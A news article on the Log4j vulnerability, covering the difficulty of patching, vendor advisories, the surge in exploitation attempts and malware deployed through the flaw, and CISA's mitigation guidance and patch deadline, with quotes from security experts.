The public disclosure of the critical vulnerability in the Apache Log4j logging library has left security teams scrambling to apply fixes, especially as exploitation attempts against the flaw started to spike after Friday. However, the widespread usage of Log4j is creating a web of complexities during the patching process.
Log4j is so prevalent - utilized by millions of third-party enterprise applications, cloud services and manufacturers, including Apple, Twitter and Tesla - that security teams may have difficulties pinpointing where the library is actually being used. Helen Patton, Advisory CISO at Cisco, said that most organizations have currently been in “triage mode” this weekend, trying to build a good asset inventory in order to know where the problem actually exists.
“It’s not just a matter of go patch your stuff, it is a matter of knowing what needs to be patched, knowing whether a patch is even available - which isn’t true for everybody yet - and then making a risk decision if a patch isn’t available… that risk analysis is what people are dealing with right now,” said Patton.
On the other side of the coin, organizations must also look at third-party risk management, said Patton. Companies may need to wait until vendors push security updates out for their own products downstream to customers, a process itself that could take awhile. Several vendors - including Amazon, Splunk, Oracle and more - have issued security advisories that point to the impact of the flaw on their products and the timeframe that it will take to apply patches. While some rollouts for fixed product versions are occurring this week, other impacted versions are listed as “patch pending,” such as (as of Monday) the Splunk data stream processor or the VMware vCenter Server. From a vendor perspective, the rollout of security updates that fully address the Log4j flaw could be weeks or months, said Patton.
"Now you’re looking at vendor websites or you’re on the phone trying to piece this all together, and while you’re doing that, vendors are discovering their own weaknesses they didn’t know about."
“People are looking at the products that they have, that they have developed and that they can control, but also are looking at where they are using someone’s off-the-shelf software that might include these libraries,” said Patton. “Now you’re looking at vendor websites or you’re on the phone trying to piece this all together, and while you’re doing that, vendors are discovering their own weaknesses they didn’t know about.”
Once security teams have worked to identify where impacted Log4j versions are being used, and upgraded them to the fixed Log4j version, they will then push the updated code to a test environment where automated and manual testing can be executed. Michael Chenetz, head of developer content, community and events with Cisco, also pointed to concerns around code changes affecting systems, including how potential downtime could impact customers, as well as the impact of the fix on other systems that integrate with the impacted systems. However, Mick Douglas, with the SANS Institute, said on Monday that he has not yet heard any clients report that applying the patch causes any production issues.
“The number one most important thing you should be doing is patching vulnerable systems,” said Douglas during an analysis of the vulnerability that was streamed live by the SANS Institute. “As of now there are no credible indicators that a patch applied will cause any production outages. The functionality that is needed for the attacker is so edge-based that we don’t expect any business logic to break, however in the interest of fairness, you do want to test in a non-production environment first.”
Threat Actors Close In
Exploitation efforts have skyrocketed since Friday, with researchers from Check Point Research saying they have witnessed attempted exploits on over 40 percent of corporate networks globally, with over 46 percent of those attempts being made by known malicious groups. Meanwhile, Sean Gallagher, senior threat researcher with Sophos, said that a number of IPS rules designed to scan traffic attempting to exploit the flaw observed a “surge” over the weekend, which peaked over Saturday night and into Sunday morning.
“The vast majority of this traffic (about 90 percent) was using the LDAP protocol as the target for exploits; smaller subsets used DNS and RMI,” said Gallagher. “Some of this traffic, upon examination, may have been internal scanning for vulnerabilities by organizations, but much of it appeared to be probes for exploitable systems by attackers.”
Most of the attacks currently focus on attempting to install cryptocurrency mining malware, but researchers warn that more advanced actors will exploit the flaw as well. Netlab 360 researchers observed the flaw being exploited to install the Muhstik and Mirai malware on vulnerable devices, while Microsoft researchers said that threat actors were exploiting the vulnerability to install Cobalt Strike, which enables credential theft, lateral movement and data exfiltration.
These threats are constantly evolving. Check Point researchers pointed to new variations of the original exploit being rapidly introduced, with over 60 new variations in less than 24 hours. Microsoft researchers also noted that while security teams are working to detect the exploitation of the flaw, attackers have added obfuscation to these requests to evade detections. This obfuscation tactic, which is based on request patterns, is attempting to bypass string-matching detections, said researchers.
CISA Gives Patching Deadline
While the patch is available, companies in the meantime can take several additional steps to protect their networks. The Apache Foundation offered several mitigation steps that companies can take in its security advisory, while the U.S. Cybersecurity & Infrastructure Security Agency (CISA) noted that companies should enumerate any external facing devices that have Log4j installed; ensure that security operations centers are actioning every single alert on impacted devices; and install a web application firewall (WAF) with rules that automatically update, so that the SOC is able to concentrate on fewer alerts. CISA on Friday also added the Log4j vulnerability to its Known Exploited Vulnerabilities Catalog, giving federal agencies a deadline of Dec. 24 to apply patches for the flaw.
“End users will be reliant on their vendors, and the vendor community must immediately identify, mitigate, and patch the wide array of products using this software,” said CISA Director Jen Easterly in a statement. “Vendors should also be communicating with their customers to ensure end users know that their product contains this vulnerability and should prioritize software updates.”
Amit Yoran, CEO of Tenable, said organizations need to update their security controls and look at their existing incident response plans under the assumption that they have already been compromised.
“The number one priority now is to work with your in-house information security and engineering teams or partner with an organization that conducts incident response to identify the impact to your organization,” said Yoran.